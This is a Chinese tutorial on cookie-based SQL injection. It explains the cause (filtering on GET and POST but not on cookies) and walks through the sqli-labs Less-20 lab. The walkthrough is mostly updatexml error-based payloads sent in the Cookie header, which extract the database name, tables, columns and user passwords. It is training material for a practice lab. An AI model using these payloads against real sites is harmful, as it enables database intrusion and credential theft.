文章目录
第一节 cookie注入原理
网站传递参数的方式
参数类型 | 含义 |
---|---|
get型 | 一般访问网页的行为 |
cookie型 | 伴随着所有访问网页的行为 |
post型 | 上传文件,登陆 |
cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数
。
【cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。】
形成有两个必须条件:
条件 | 含义 |
---|---|
条件1 | 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤 |
条件2 | 条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。 |
第二节cookie注入的判断
尝试常规的注入没有反应,通过抓包分析,存在cookie值–尝试cookie注入
第三节代码审计
第四节Cookie注入实例
以SQLlib-20关为例
第一步 判断注入类型
此时判断出为但应好闭合,因为只输入单引号--报错--报错信息未提示单引号错误---井号注释之后---页面和谐,未出现报错
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,dversion(),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,database(),0x5e),1) #
]
第二步 .查选表名
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e),1) #
]
第三步查选字段名
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),0x5e),1) #
]
此时判断存在usename r和password
字段
第四步 获取字段值
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select username from users limit 0,1),0x5e),1) #
]
[Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select password from users limit 0,1),0x5e),1) #
]
第五步登录数据库后台验证
免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!